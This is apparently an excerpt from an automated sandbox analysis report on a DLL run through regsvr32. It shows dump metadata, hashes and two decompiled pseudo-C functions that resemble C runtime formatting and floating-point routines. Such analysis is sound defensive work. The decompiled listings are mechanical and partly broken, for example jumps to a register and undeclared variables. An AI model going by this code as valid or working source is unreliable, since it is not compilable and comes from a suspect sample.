0x00000000
0x100469b9
0x100469b9
0x100469bc
0x10046d03
0x10046d03
0x10046d0d
0x10046d0f
0x10046d0f
0x10046d1a
0x10046d1d
0x10046d1f
0x10046d23
0x10046d2c
0x10046d38
0x10046d38
0x10046d23
0x10046d3d
0x10046d44
0x10046d4b
0x10046d52
0x10046d54
0x10046d76
0x10046d76

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f098a43f50989b16eb8a9cb3ee95ce6026d851bc78a7fc3ec0ef41d5621e9ef1
Instruction ID: 2461d21ea68be7756335ce9276e55116be361f48954a231e797d464a81421b57
Opcode Fuzzy Hash: f098a43f50989b16eb8a9cb3ee95ce6026d851bc78a7fc3ec0ef41d5621e9ef1
Instruction Fuzzy Hash: EAA19F36714B808ADB20CF62E48069E77A4F7C9784F904126EF8E87B55EF78D615CB48

Uniqueness

Uniqueness Score: -1.00%

Function 10030280 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21e796645e69b5e22aba35eeabd365333bf4efc10fcdcc1166a41d540ab7afbb
Instruction ID: ab109a23da7273373d12067df7a1a9f835ef53e77d2b537a77309dc1a0eb6e13
Opcode Fuzzy Hash: 21e796645e69b5e22aba35eeabd365333bf4efc10fcdcc1166a41d540ab7afbb
Instruction Fuzzy Hash: DA614BE67176D14AC913DF2266243AFE695E741FCAF588001FF852FF09CA38D651A305

Uniqueness

Uniqueness Score: -1.00%

Function 1003F650 Relevance: .2, Instructions: 226
COMMONCrypto

Download Yara Rule

C-Code - Quality: 85%

			E1003F650(signed int __ecx, signed long long __rbx, long long __rcx, intOrPtr* __rdx, long long __rdi, long long __rsi, signed long long __r8, long long __r9, long long __r12, long long __r13, long long __r14, long long __r15) {
				void* _t114;
				signed int _t121;
				void* _t141;
				void* _t143;
				signed long long _t150;
				signed long long _t151;
				intOrPtr* _t153;
				signed long long _t158;
				signed long long _t168;
				signed long long _t171;
				signed long long _t173;
				intOrPtr* _t178;
				long long _t180;
				signed long long _t182;
				signed long long _t183;
				long long _t184;
				void* _t185;
				signed long long _t186;
				signed long long _t187;
				long long _t193;
				void* _t195;
				long long _t197;

				_t193 = __r14;
				_t189 = __r12;
				_t184 = __r9;
				_t183 = __r8;
				_t158 = __rbx;
				_t132 = __ecx;
				_t186 = _t182;
				_t150 =  *0x100b1640; // 0xf93099fb11e7
				_t151 = _t150 ^ _t182;
				 *(_t182 + 0x2c8) = _t151;
				 *((long long*)(_t186 - 0x10)) = _t180;
				 *((long long*)(_t186 - 0x18)) = __rsi;
				 *((long long*)(_t186 - 0x20)) = __rdi;
				 *((long long*)(_t186 - 0x28)) = __r12;
				 *((long long*)(_t186 - 0x30)) = __r13;
				 *((long long*)(_t186 - 0x40)) = __r15;
				_t175 = __r9;
				_t197 = __rcx;
				 *((long long*)(_t182 + 0x58)) = __r9;
				_t178 = __rdx;
				 *((long long*)(_t182 + 0xb0)) = __rcx;
				 *((intOrPtr*)(_t182 + 0x90)) = 0;
				r12d = 0;
				 *((intOrPtr*)(_t182 + 0x60)) = 0;
				r13d = 0;
				 *((intOrPtr*)(_t182 + 0x48)) = 0;
				 *((intOrPtr*)(_t182 + 0x68)) = 0;
				 *((intOrPtr*)(_t182 + 0x40)) = 0;
				 *((intOrPtr*)(_t182 + 0x88)) = bpl;
				if(__r8 != 0) {
					_t162 = _t182 + 0x70;
					 *_t162 =  *__r8;
					_t153 =  *((intOrPtr*)(__r8 + 8));
					 *((long long*)(_t162 + 8)) = _t153;
					_t173 =  *(_t182 + 0x80);
					goto L10;
				} else {
					E10035F70(_t151, __rbx, __rcx, __rdx, __r9, __rdx, _t180, __r8, __r12);
					 *(_t182 + 0x80) = _t151;
					_t173 = _t151;
					_t141 =  *((intOrPtr*)(_t151 + 0xc0)) -  *0x100b2510; // 0x2234f90
					 *((long long*)(_t182 + 0x70)) =  *((intOrPtr*)(_t151 + 0xc0));
					_t153 =  *((intOrPtr*)(_t151 + 0xb8));
					 *((long long*)(_t182 + 0x78)) = _t153;
					if(_t141 != 0) {
						_t132 =  *(_t173 + 0xc8);
						if(( *0x100b2398 &  *(_t173 + 0xc8)) == 0) {
							E1003AED0(_t132, _t153, _t162, _t173, __r8, __r12);
							_t173 =  *(_t182 + 0x80);
							 *((long long*)(_t182 + 0x70)) = _t153;
							_t153 =  *((intOrPtr*)(_t182 + 0x78));
						}
					}
					_t143 = _t153 -  *0x100b2290; // 0x2235c20
					if(_t143 != 0 && ( *0x100b2398 &  *(_t173 + 0xc8)) == 0) {
						E1003A2F0(_t132, _t153, _t158, _t162, _t173, _t175, _t178, _t180, _t189);
						_t173 =  *(_t182 + 0x80);
						 *((long long*)(_t182 + 0x78)) = _t153;
					}
					if(( *(_t173 + 0xc8) & 0x00000002) == 0) {
						 *(_t173 + 0xc8) =  *(_t173 + 0xc8) | 0x00000002;
						_t173 =  *(_t182 + 0x80);
						 *((char*)(_t182 + 0x88)) = 1;
					}
					L10:
					if(_t197 != 0) {
						 *(_t182 + 0x310) = _t158;
						_t185 = 0x10000000;
						 *((long long*)(_t182 + 0x2e0)) = _t193;
						if(( *(_t197 + 0x18) & 0x00000040) != 0) {
							L25:
							if(_t178 != 0) {
								r9d = 0;
								r14d = r9d;
								 *(_t182 + 0x4c) = r9d;
								 *(_t182 + 0x44) = r9d;
								r8d = r9d;
								 *((long long*)(_t182 + 0x98)) = _t184;
								if(bpl == 0) {
									L46:
									if( *((char*)(_t182 + 0x88)) != 0) {
										 *(_t173 + 0xc8) =  *(_t173 + 0xc8) & 0xfffffffd;
									}
									L49:
									L50:
									return E1002FF40(_t132,  *(_t182 + 0x2c8) ^ _t182);
								}
								_t158 =  *((intOrPtr*)(_t182 + 0xb0));
								r11d = 0x7fffffff;
								while(1) {
									_t178 = _t178 + 1;
									 *((long long*)(_t182 + 0xa8)) = _t178;
									if(r14d < 0) {
										break;
									}
									_t76 = _t180 - 0x20; // -31
									if(_t76 > 0x58) {
										_t132 = r9d;
									} else {
										_t132 =  *(bpl + _t185 + 0x9c2d0) & 0x0000000f;
									}
									_t153 = r8d;
									_t162 = _t132 + _t132 * 8 + _t153;
									r8d =  *(_t162 + _t185 + 0x9c2f0) & 0x000000ff;
									r8d = r8d >> 4;
									 *(_t182 + 0x64) = r8d;
									if(r8d == 8) {
										L41:
										E10032420(_t153);
										 *_t153 = 0x16;
										L42:
										r9d = 0;
										r8d = 0;
										_t132 = 0;
										 *((long long*)(_t182 + 0x20)) = _t180;
										E10034370(_t158, _t162, _t173, _t175, _t178, _t180, _t183);
										if( *((intOrPtr*)(_t182 + 0x88)) != bpl) {
											 *( *(_t182 + 0x80) + 0xc8) =  *( *(_t182 + 0x80) + 0xc8) & 0xfffffffd;
										}
										goto L49;
									} else {
										if(r8d > 7) {
											bpl =  *_t178;
											if(bpl == 0) {
												break;
											}
											_t175 =  *((intOrPtr*)(_t182 + 0x58));
											continue;
										}
										_t132 =  *(_t185 + 0x4040c + _t183 * 4);
										_t162 = _t162 + _t185;
										goto __rcx;
									}
								}
								if(r8d == 0 || r8d == 7) {
									_t173 =  *(_t182 + 0x80);
									goto L46;
								} else {
									goto L41;
								}
							}
							E10032420(_t153);
							 *_t153 = 0x16;
							goto L42;
						}
						_t162 = _t197;
						_t114 = E10031BF0(_t153, _t197);
						_t158 = 0x100b28f0;
						if(_t114 == 0xffffffff) {
							L18:
							_t187 = _t158;
							_t195 = 0x10000000;
							L19:
							if(( *(_t187 + 0x38) & 0x0000007f) != 0) {
								L27:
								E10032420(_t153);
								 *_t153 = 0x16;
								goto L42;
							}
							_t162 = _t197;
							if(E10031BF0(_t153, _t197) != 0xffffffff) {
								_t162 = _t197;
								if(E10031BF0(_t153, _t197) != 0xfffffffe) {
									_t168 = E10031BF0(_t153, _t197) >> 5;
									_t175 =  *((intOrPtr*)(_t195 + 0xb8b20 + _t168 * 8));
									_t162 = _t197;
									E10031BF0(_t153, _t197);
									_t158 = (_t158 << 6) +  *((intOrPtr*)(_t195 + 0xb8b20 + _t168 * 8));
								}
							}
							if(( *(_t158 + 0x38) & 0x00000080) != 0) {
								goto L27;
							} else {
								_t173 =  *(_t182 + 0x80);
								_t175 =  *((intOrPtr*)(_t182 + 0x58));
								_t185 = 0x10000000;
								goto L25;
							}
						}
						_t162 = _t197;
						if(E10031BF0(_t153, _t197) == 0xfffffffe) {
							goto L18;
						}
						_t121 = E10031BF0(_t153, _t197);
						_t195 = 0x10000000;
						_t171 = _t121 >> 5;
						_t175 =  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t171 * 8));
						_t162 = _t197;
						r11d = E10031BF0(_t153, _t197);
						r11d = r11d & 0x0000001f;
						_t187 = (_t186 << 6) +  *((intOrPtr*)(0x10000000 + 0xb8b20 + _t171 * 8));
						goto L19;
					}
					E10032420(_t153);
					r9d = 0;
					r8d = 0;
					_t132 = 0;
					 *((long long*)(_t182 + 0x20)) = _t180;
					 *_t153 = 0x16;
					E10034370(_t158, _t162, _t173, _t175, _t178, _t180, _t183);
					if( *((intOrPtr*)(_t182 + 0x88)) != bpl) {
						 *( *(_t182 + 0x80) + 0xc8) =  *( *(_t182 + 0x80) + 0xc8) & 0xfffffffd;
					}
					goto L50;
				}
			}

0x1003f650
0x1003f650
0x1003f650
0x1003f650
0x1003f650
0x1003f650
0x1003f650
0x1003f65a
0x1003f661
0x1003f664
0x1003f66c
0x1003f675
0x1003f679
0x1003f67d
0x1003f681
0x1003f685
0x1003f689
0x1003f68c
0x1003f68f
0x1003f694
0x1003f697
0x1003f69f
0x1003f6a6
0x1003f6a9
0x1003f6ad
0x1003f6b0
0x1003f6b4
0x1003f6b8
0x1003f6bc
0x1003f6c4
0x1003f76e
0x1003f773
0x1003f776
0x1003f77a
0x1003f77e
0x00000000
0x1003f6ca
0x1003f6ca
0x1003f6cf
0x1003f6d7
0x1003f6e1
0x1003f6e8
0x1003f6ed
0x1003f6f4
0x1003f6f9
0x1003f6fb
0x1003f707
0x1003f709
0x1003f70e
0x1003f716
0x1003f71b
0x1003f71b
0x1003f707
0x1003f720
0x1003f727
0x1003f737
0x1003f73c
0x1003f744
0x1003f744
0x1003f750
0x1003f752
0x1003f759
0x1003f761
0x1003f761
0x1003f786
0x1003f789
0x1003f7d2
0x1003f7da
0x1003f7e1
0x1003f7e9
0x1003f8b6
0x1003f8b9
0x1003f8de
0x1003f8e4
0x1003f8e7
0x1003f8ec
0x1003f8f1
0x1003f8f4
0x1003f8fc
0x1004039e
0x100403a6
0x100403a8
0x100403a8
0x100403b2
0x100403c2
0x10040409
0x10040409
0x1003f902
0x1003f90f
0x1003f920
0x1003f920
0x1003f927
0x1003f92f
0x00000000
0x00000000
0x1003f935
0x1003f93a
0x1003f94d
0x1003f93c
0x1003f948
0x1003f948
0x1003f957
0x1003f95a
0x1003f95d
0x1003f966
0x1003f96e
0x1003f973
0x10040355
0x10040355
0x1004035c
0x10040362
0x10040362
0x10040365
0x1004036a
0x1004036c
0x10040371
0x1004037e
0x10040388
0x10040388
0x00000000
0x1003f979
0x1003f97d
0x10040338
0x1004033e
0x00000000
0x00000000
0x10040340
0x00000000
0x10040340
0x1003f983
0x1003f98e
0x1003f991
0x1003f991
0x1003f973
0x1004034d
0x10040396
0x00000000
0x00000000
0x00000000
0x00000000
0x1004034d
0x1003f8bb
0x1003f8c0
0x00000000
0x1003f8c0
0x1003f7ef
0x1003f7f2
0x1003f7f7
0x1003f801
0x1003f846
0x1003f846
0x1003f849
0x1003f850
0x1003f855
0x1003f8cb
0x1003f8cb
0x1003f8d0
0x00000000
0x1003f8d0
0x1003f857
0x1003f862
0x1003f864
0x1003f86f
0x1003f87c
0x1003f880
0x1003f888
0x1003f88b
0x1003f899
0x1003f899
0x1003f86f
0x1003f8a0
0x00000000
0x1003f8a2
0x1003f8a2
0x1003f8aa
0x1003f8af
0x00000000
0x1003f8af
0x1003f8a0
0x1003f803
0x1003f80e
0x00000000
0x00000000
0x1003f813
0x1003f818
0x1003f822
0x1003f826
0x1003f82e
0x1003f836
0x1003f839
0x1003f841
0x00000000
0x1003f841
0x1003f78b
0x1003f790
0x1003f793
0x1003f798
0x1003f79a
0x1003f79f
0x1003f7a5
0x1003f7b2
0x1003f7bc
0x1003f7bc
0x00000000
0x1003f7c3

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: ErrorLastValue$CurrentThread
String ID:
API String ID: 526964173-0
Opcode ID: b54634986387a6d69993b2f90cbb40e71789949251b52514905ffcc51c6480b9
Instruction ID: 35cccd665497c1bf1766248ce93ac8f4299e6a9cc53f94cf85f9d372bc64a119
Opcode Fuzzy Hash: b54634986387a6d69993b2f90cbb40e71789949251b52514905ffcc51c6480b9
Instruction Fuzzy Hash: EFA1B236608BC08AD762CF25A4517AEBBA4F785BD1F604229EED94BB58DF38D4418B04

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180002D54 Relevance: .2, Instructions: 218COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: df67a254d1b9152efcfe81b434a773d2ceedc46aeeab98ddaf877765d3bdedbf
Instruction ID: ed964e02e2ce91144573e0d13e56a5d6b32888e5062f5356163fab87077805e8
Opcode Fuzzy Hash: df67a254d1b9152efcfe81b434a773d2ceedc46aeeab98ddaf877765d3bdedbf
Instruction Fuzzy Hash: B0A1367090670CCFEBA9CF68C58A6DD7BF2EF58344F100119EC19962A1CB78D569CB49

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001A170 Relevance: .2, Instructions: 200COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d40cf1fdf5da48579d992a37fd40edc5d1917465f87a5e01d868d91ca62fb6e
Instruction ID: 7143edf0206326bca0e6ebea3df2eeac808514e104ac8ba7aa7dc38b9912e224
Opcode Fuzzy Hash: 1d40cf1fdf5da48579d992a37fd40edc5d1917465f87a5e01d868d91ca62fb6e
Instruction Fuzzy Hash: 7C911D7150868D8FEBB9CF28C8867D977A1FB49344F50C129D88ECA291DF7497489B41

Uniqueness

Uniqueness Score: -1.00%

Function 1004B438 Relevance: .2, Instructions: 186
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E1004B438(void* __ebx, signed int __ebp, void* __rdx, long long __r8, void* __r11, long long* __r13, signed int _a48, signed int _a52, signed int _a56, long long _a64, signed int* _a72, unsigned int _a80, signed short _a82, signed int _a84, signed int _a86, signed int _a88, signed int _a90, signed int _a96, signed int _a98, signed int _a100, signed int _a102, unsigned int _a104, signed int _a106, unsigned int _a112, signed int _a114, char _a128, signed int _a151, signed int _a160, void* _a184, void* _a192, void* _a200, void* _a208, void* _a216, void* _a224, void* _a232, void* _a240, intOrPtr _a288, intOrPtr _a296) {
				unsigned int _t143;
				signed int _t144;
				signed short _t154;
				signed short _t155;
				signed short _t159;
				signed short _t160;
				signed int _t161;
				signed int _t165;
				signed int _t167;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed char _t184;
				void* _t185;
				signed int _t186;
				signed int _t188;
				signed short _t189;
				signed short _t190;
				signed int _t192;
				signed int _t196;
				void* _t197;
				signed int _t199;
				signed short _t203;
				signed int _t204;
				signed int _t207;
				void* _t208;
				signed int _t209;
				signed int _t212;
				signed int _t213;
				void* _t222;
				signed long long _t230;
				void* _t231;
				void* _t232;
				long long _t234;
				signed int* _t235;
				void* _t237;
				intOrPtr* _t239;
				signed long long _t242;
				void* _t246;
				signed int* _t247;
				void* _t248;
				signed int _t249;
				void* _t250;
				char* _t251;
				signed short* _t252;
				long long* _t254;
				signed int* _t257;

				_t254 = __r13;
				_t250 = __r11;
				_t244 = __r8;
				_t232 = __rdx;
				_t213 = __ebp;
				_t185 = __ebx;
				if(__rdx - 0x31 > 8) {
					_t218 =  *((intOrPtr*)( *((intOrPtr*)( *_t239 + 0x128))));
					__eflags = _t197 -  *_t218;
					if(_t197 !=  *_t218) {
						__eflags = _t197 - 0x2b;
						if(_t197 == 0x2b) {
							r9d = 2;
							_a52 = 0;
							goto L1;
						}
						__eflags = _t197 - 0x2d;
						if(_t197 == 0x2d) {
							r9d = 2;
							_a52 = 0x8000;
							goto L1;
						}
						__eflags = _t197 - 0x30;
						if(_t197 != 0x30) {
							_t244 = __r8 - 1;
							_t207 = 0;
							goto L14;
						}
						r9d = 1;
						goto L1;
					}
					r9d = 5;
				} else {
					r9d = 3;
					_t244 = __r8 - 1;
					do {
						goto L1;
					} while (r9d != 0xa);
					_t207 = 0;
					__eflags = 0;
					L14:
					__eflags = _t213;
					 *_t254 = _t244;
					if(_t213 == 0) {
						r8d = _t207;
						_t199 = _t207;
						_t207 = 4;
						L108:
						_t188 = 0;
						_t143 = 0;
						__eflags = 0;
						L109:
						_t247 = _a72;
						_t144 = _t143 | _a52;
						__eflags = _t144;
						_t247[2] = _t144;
						 *_t247 = _t188;
						_t247[0] = _t199;
						_t247[1] = r8d;
						__eflags = _a160 ^ _t242;
						return E1002FF40(_t188, _a160 ^ _t242);
					}
					__eflags = r10d - 0x18;
					if(r10d <= 0x18) {
						__eflags = r10d;
						if(r10d == 0) {
							r8d = _t207;
							_t199 = _t207;
							goto L108;
						}
						L21:
						_t251 = _t250 - 1;
						__eflags =  *_t251;
						if( *_t251 != 0) {
							L24:
							_t16 =  &_a96; // 0x61
							_t17 =  &_a128; // 0x81
							E1004EED0(r10d, _t222, _t17, _t232, _t237, _t239, _t16, _t246, _t248, _t251);
							__eflags = r14d;
							if(r14d >= 0) {
								r8d = _a48;
							} else {
								r8d = _a48;
								r8d =  ~r8d;
							}
							r8d = r8d + _t185;
							__eflags = r12d;
							if(r12d == 0) {
								r8d = r8d + _a288;
								__eflags = r8d;
							}
							__eflags = r15d;
							if(r15d == 0) {
								r8d = r8d - _a296;
								__eflags = r8d;
							}
							__eflags = r8d - 0x1450;
							if(r8d > 0x1450) {
								_t199 = _t207;
								_t143 = 0x7fff;
								r8d = 0x80000000;
								_t207 = 2;
								_t188 = 0;
								goto L109;
							} else {
								__eflags = r8d - 0xffffebb0;
								if(r8d < 0xffffebb0) {
									r8d = _t207;
									_t199 = _t207;
									_t207 = 1;
									goto L108;
								}
								_t234 = 0x100b3270;
								__eflags = r8d;
								if(r8d == 0) {
									L103:
									_t188 = _a96 & 0x0000ffff;
									_t199 = _a98;
									r8d = _a102;
									_t143 = _a104 >> 0x10;
									goto L109;
								}
								__eflags = r8d;
								if(r8d < 0) {
									r8d =  ~r8d;
									_t234 = 0x100b33d0;
									__eflags = 0x100b3430;
								}
								__eflags = _a56;
								_t150 =  ==  ? 0 : _a96 & 0x0000ffff;
								__eflags = r8d;
								_a96 =  ==  ? 0 : _a96 & 0x0000ffff;
								if(r8d == 0) {
									_t207 = 0;
									__eflags = 0;
								} else {
									r9d = 0xffff8000;
									do {
										_t234 = _t234 + 0x54;
										r8d = r8d >> 3;
										__eflags = r8d & 0x00000007;
										_a48 = r8d;
										_a64 = _t234;
										if((r8d & 0x00000007) == 0) {
											goto L100;
										}
										_t230 = _t218 + _t218 * 2;
										__eflags =  *((short*)(_t234 + _t230 * 4)) - 0x8000;
										_t257 = _t234 + _t230 * 4;
										if( *((short*)(_t234 + _t230 * 4)) >= 0x8000) {
											_t33 =  &_a112; // 0x71
											_t230 = _t33;
											 *_t230 =  *_t257;
											_t181 = _t257[2];
											_t35 =  &_a112; // 0x71
											_t257 = _t35;
											 *(_t230 + 8) = _t181;
											_t218 = _a112 >> 0x10;
											_t182 = _t181 - 1;
											__eflags = _t182;
											_a114 = _t182;
										}
										_t189 = _t257[2] & 0x0000ffff;
										_t154 = _a106 & 0x0000ffff;
										r15d = 0;
										_t190 = _t189 & 0x00007fff;
										_a80 = 0;
										_t155 = _t154 & 0x00007fff;
										_a84 = 0;
										_t203 = (_t189 & 0x0000ffff ^ _t154) & 0x00008000;
										__eflags = _t155 - 0x7fff;
										_a88 = 0;
										_a56 = _t203;
										_t208 = _t218 + _t230;
										if(_t155 >= 0x7fff) {
											L99:
											__eflags = _t203;
											_t234 = _a64;
											_t157 =  !=  ? r9d : 0x7fff8000;
											_a100 = 0;
											_a96 = 0;
											_a104 =  !=  ? r9d : 0x7fff8000;
										} else {
											__eflags = _t190 - 0x7fff;
											if(_t190 >= 0x7fff) {
												goto L99;
											}
											__eflags = _t208 - 0xbffd;
											if(_t208 > 0xbffd) {
												goto L99;
											}
											__eflags = _t208 - 0x3fbf;
											if(_t208 > 0x3fbf) {
												__eflags = _t155;
												if(_t155 != 0) {
													L51:
													__eflags = _t190;
													if(_t190 != 0) {
														L56:
														r13d = 0;
														_t235 =  &_a84;
														r12d = 5;
														do {
															__eflags = r12d;
															_t186 = r12d;
															_t231 = _t254 + _t254;
															if(r12d <= 0) {
																goto L71;
															}
															_t63 =  &(_t257[2]); // 0x9
															_t249 = _t63;
															_t65 = _t231 + 0x60; // 0x65
															_t252 = _t242 + _t65;
															_t212 = r13d & 0x00000001;
															__eflags = _t212;
															do {
																_t192 = ( *_t252 & 0x0000ffff) * ( *_t249 & 0x0000ffff);
																__eflags = _t212;
																if(_t212 == 0) {
																	r8d = 0;
																	r9d = _t218 + _t231;
																	__eflags = r9d -  *(_t235 - 4);
																	if(r9d <  *(_t235 - 4)) {
																		L66:
																		r8d = 1;
																		L67:
																		 *(_t235 - 4) = r9d;
																		goto L68;
																	}
																	__eflags = r9d - _t192;
																	if(r9d >= _t192) {
																		goto L67;
																	}
																	goto L66;
																}
																r8d = 0;
																r9d = _t218 + _t231;
																__eflags = r9d -  *(_t235 - 4);
																if(r9d <  *(_t235 - 4)) {
																	L62:
																	r8d = 1;
																	L63:
																	 *(_t235 - 4) = r9d;
																	goto L68;
																}
																__eflags = r9d - _t192;
																if(r9d >= _t192) {
																	goto L63;
																}
																goto L62;
																L68:
																__eflags = r8d;
																if(r8d != 0) {
																	 *_t235 =  *_t235 + 1;
																	__eflags =  *_t235;
																}
																_t186 = _t186 - 1;
																_t252 =  &(_t252[1]);
																_t249 = _t249 - 2;
																__eflags = _t186;
															} while (_t186 > 0);
															L71:
															r12d = r12d - 1;
															_t235 =  &(_t235[0]);
															r13d = r13d + 1;
															__eflags = r12d;
														} while (r12d > 0);
														_t209 = _t208 + 0xc002;
														__eflags = _t209;
														if(__eflags <= 0) {
															r8d = _a88;
															_t204 = _a84;
															r9d = _a80;
															L86:
															_t209 = _t209 + 0xffff;
															__eflags = _t209;
															if(_t209 >= 0) {
																L78:
																_t159 = _a80 & 0x0000ffff;
																L79:
																__eflags = _t159 - 0x8000;
																if(_t159 > 0x8000) {
																	L81:
																	_t160 = _a82;
																	__eflags = _t160 - 0xffffffff;
																	if(_t160 != 0xffffffff) {
																		_t161 = _t160 + 1;
																		__eflags = _t161;
																		_a82 = _t161;
																		_t204 = _a84;
																	} else {
																		_t165 = _a86;
																		_a82 = 0;
																		__eflags = _t165 - 0xffffffff;
																		if(_t165 != 0xffffffff) {
																			_a86 = _t165 + 1;
																			r8d = _a88;
																			_t204 = _a84;
																		} else {
																			_t167 = _a90 & 0x0000ffff;
																			_a86 = 0;
																			__eflags = _t167 - 0xffff;
																			if(_t167 != 0xffff) {
																				_t204 = _a84;
																				_a90 = _t167 + 1;
																				r8d = _a88;
																			} else {
																				_t204 = _a84;
																				_a90 = 0x8000;
																				r8d = _a88;
																				_t209 = _t209 + 1;
																			}
																		}
																	}
																	L96:
																	__eflags = _t209 - 0x7fff;
																	if(_t209 < 0x7fff) {
																		_a98 = _t204;
																		_t234 = _a64;
																		_a102 = r8d;
																		r8d = _a48;
																		_a96 = _a82 & 0x0000ffff;
																		_a106 = _t209 | _a56;
																		r9d = 0xffff8000;
																	} else {
																		__eflags = _a56;
																		_t234 = _a64;
																		r8d = _a48;
																		r9d = 0xffff8000;
																		_a100 = 0;
																		_t164 =  !=  ? r9d : 0x7fff8000;
																		_a96 = 0;
																		_a104 =  !=  ? r9d : 0x7fff8000;
																	}
																	goto L100;
																}
																r9d = r9d & 0x0001ffff;
																__eflags = r9d - 0x18000;
																if(r9d != 0x18000) {
																	goto L96;
																}
																goto L81;
															}
															r10d =  ~(_t209 & 0x0000ffff) & 0x0000ffff;
															_t209 = _t209 + r10w;
															__eflags = _t209;
															do {
																__eflags = _a80 & 0x00000001;
																if((_a80 & 0x00000001) != 0) {
																	r15d = r15d + 1;
																	__eflags = r15d;
																}
																r9d = r9d >> 1;
																r9d = r9d | _t204 << 0x0000001f;
																r8d = r8d >> 1;
																_t204 = _t204 >> 0x00000001 | r8d << 0x0000001f;
																_t249 = _t249 - 1;
																__eflags = _t249;
																_a80 = r9d;
															} while (_t249 != 0);
															__eflags = r15d;
															_a84 = _t204;
															_a88 = r8d;
															if(r15d == 0) {
																goto L78;
															}
															_t159 = r9w | 0x00000001;
															_a80 = _t159;
															r9d = _a80;
															goto L79;
														}
														r8d = _a88;
														_t204 = _a84;
														r9d = _a80;
														while(1) {
															asm("inc ecx");
															if(__eflags < 0) {
																break;
															}
															r8d = r8d + r8d;
															_t196 = _t204 >> 0x1f;
															r9d = r9d + r9d;
															_t204 = _t204 + _t204 | r9d >> 0x0000001f;
															r8d = r8d | _t196;
															_t209 = _t209 + 0xffff;
															_a84 = _t204;
															_a88 = r8d;
															__eflags = _t209;
															_a80 = r9d;
															if(__eflags > 0) {
																continue;
															}
															goto L86;
														}
														__eflags = _t209;
														if(_t209 <= 0) {
															goto L86;
														}
														goto L78;
													}
													_t208 = _t208 + 1;
													asm("btr eax, 0x1f");
													__eflags = _t257[2];
													if(_t257[2] != 0) {
														goto L56;
													}
													__eflags = _t257[1];
													if(_t257[1] != 0) {
														goto L56;
													}
													__eflags =  *_t257;
													if( *_t257 != 0) {
														goto L56;
													}
													_t234 = _a64;
													_a104 = 0;
													_a100 = 0;
													_a96 = 0;
													goto L100;
												}
												_t208 = _t208 + 1;
												asm("btr eax, 0x1f");
												__eflags = _a104;
												if(_a104 != 0) {
													goto L51;
												}
												__eflags = _a100;
												if(_a100 != 0) {
													goto L51;
												}
												__eflags = _a96;
												if(_a96 != 0) {
													goto L51;
												}
												_t234 = _a64;
												_a106 = 0;
												goto L100;
											}
											_t234 = _a64;
											_a104 = 0;
											_a100 = 0;
											_a96 = 0;
										}
										L100:
										__eflags = r8d;
									} while (r8d != 0);
									_t207 = 0;
								}
								goto L103;
							}
						}
						do {
							_t251 = _t251 - 1;
							r10d = r10d + 0xffffffff;
							_t185 = _t185 + 1;
							__eflags =  *_t251;
						} while ( *_t251 == 0);
						goto L24;
					}
					_t183 = _a151 & 0x000000ff;
					__eflags = _t183 - 5;
					if(_t183 >= 5) {
						_t184 = _t183 + 1;
						__eflags = _t184;
						_a151 = _t184;
					}
					_t250 = _t250 - 1;
					r10d = 0x18;
					_t185 = _t185 + 1;
					goto L21;
				}
				L1:
				_t244 = _t244 + 1;
				if(r9d <= 0xb) {
					_t218 = 0x10000000;
					goto __rcx;
				}
				__eflags = r9d - 0xa;
			}

0x1004b438
0x1004b438
0x1004b438
0x1004b438
0x1004b438
0x1004b438
0x1004b43d
0x1004b45c
0x1004b45f
0x1004b461
0x1004b472
0x1004b475
0x1004b4b0
